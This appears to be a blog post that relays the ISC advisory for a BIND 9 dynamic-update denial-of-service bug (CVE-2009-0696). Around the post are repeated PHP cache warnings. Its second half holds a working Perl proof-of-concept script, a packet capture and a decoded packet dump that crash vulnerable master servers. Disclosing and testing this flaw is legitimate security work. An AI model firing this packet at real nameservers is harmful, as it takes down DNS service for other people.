Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_get() [function.xcache-get]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 171

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55
Remote exploit for ISC BIND 9.x – PANIC! | Sexiest tinfoil hat, ever!
Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55
Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55
class="single single-post postid-3099 single-format-standard" style="background:url('') #000000 repeat top center;">
Profile Picture

About Photography Gone Rogue

My studio is the world around me, it exists through my lens and in my imagination.

Remote exploit for ISC BIND 9.x – PANIC!


Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

Step number the first – don’t actually panic. It could be worse, and panic is no way to respond to a potential security issue ;)

From the ISC

BIND Dynamic Update DoS

CVE:

  CVE-2009-0696  
CERT:

  VU#725188  
Posting date:

  2009-07-28  
Program Impacted: 

  BIND  
Versions affected: 

  BIND 9 (all versions)
Severity:

  High  
Exploitable:

  remotely  
Summary:

  BIND denial of service (server crash) caused by receipt of a specific remote dynamic update message.

Description:

Urgent: this exploit is public. Please upgrade immediately.

Receipt of a specially-crafted dynamic update message to a zone for which the server is the master
may cause BIND 9 servers to exit. Testing indicates that the attack packet has to be formulated against
a zone for which that machine is a master. Launching the attack against slave zones does not trigger
the assert.

This vulnerability affects all servers that are masters for one or more zones – it is not limited to those
that are configured to allow dynamic updates. Access controls will not provide an effective workaround.

dns_db_findrdataset()
fails when the prerequisite section of the dynamic update message contains a record of type
“ANY” and where at least one RRset for this FQDN exists on the server.

db.c:659: REQUIRE(type != ((dns_rdatatype_t)dns_rdatatype_any)) failed
exiting (due to assertion failure).

Workarounds:

None.

(Some sites may have firewalls that can be configured with packet
filtering techniques to prevent nsupdate messages from reaching their
nameservers.)

Active exploits:

An active remote exploit is in wide circulation at this time.

Acknowledgment:

Matthias Urlichs for reporting the problem.
Tom Daly for methodical follow-on testing.

Revision History:

2009-07-28 Initial text
2009-07-29 Update to reflect Tom Daly’s findings

The exploit
bind can be crashed with an update packet:

Packet in tcpdump:

15:38:11.676045 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 178) 10.2.0.205.59447 > 10.2.0.205.53: 17378 update [1a] [1n] [1au] SOA? 8.0.10.in-addr.arpa. 8.8.0.10.in-addr.arpa. ANY ns: [|domain]

Another view of the Packet:

| ;; HEADER SECTION
| ;; id = 181
| ;; qr = 0 opcode = UPDATE rcode = NOERROR
| ;; zocount = 1 prcount = 1 upcount = 1 adcount = 1
|
| ;; ZONE SECTION (1 record)
| ;; 8.0.10.in-addr.arpa. IN SOA
|
| ;; PREREQUISITE SECTION (1 record)
| 4.8.0.10.in-addr.arpa. 0 IN ANY ; no data
|
| ;; UPDATE SECTION (1 record)
| 4.8.0.10.in-addr.arpa. 0 ANY ANY ; no data
|
| ;; ADDITIONAL SECTION (1 record)
| office.example.com. 0 ANY TSIG HMAC-MD5.SIG-ALG.REG.INT. NOERROR

Such a packet can be created with perl:

—————–

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '';
our $NSI_KEY_NAME = '';
our $NSI_KEY = '
';

my $rzone = '';
my $rptr = "1.$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
pre => Net::DNS::RR->new(
Name => $rptr,
Class => 'IN',
Type => 'ANY',
TTL => 0,
)
);
$packet->push(
update => Net::DNS::RR->new(
Name => $rptr,
Class => 'ANY',
Type => 'ANY',
)
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;

print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);

Tags: , , , , , , , ,

">Delicious
  • Diggit
  • Diggit

  • Warning: xcache_get() [function.xcache-get]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 171

    Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

    One Response to “Remote exploit for ISC BIND 9.x – PANIC!”

    1. kainlite says:

      nice post, very useful to know if your bind is still vulnerable… :)

    Leave a Reply



    Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

    Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

    Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

    Warning: xcache_set() [function.xcache-set]: XCache var cache was not initialized properly. Check php log for actual reason in /home/tlea/blog.ddiction.com/wp-content/plugins/w3-total-cache/lib/W3/Cache/Xcache.php on line 55

     

    All Images Copyright Photography Gone Rogue | Blog Theme Created by LJP & SLR Lounge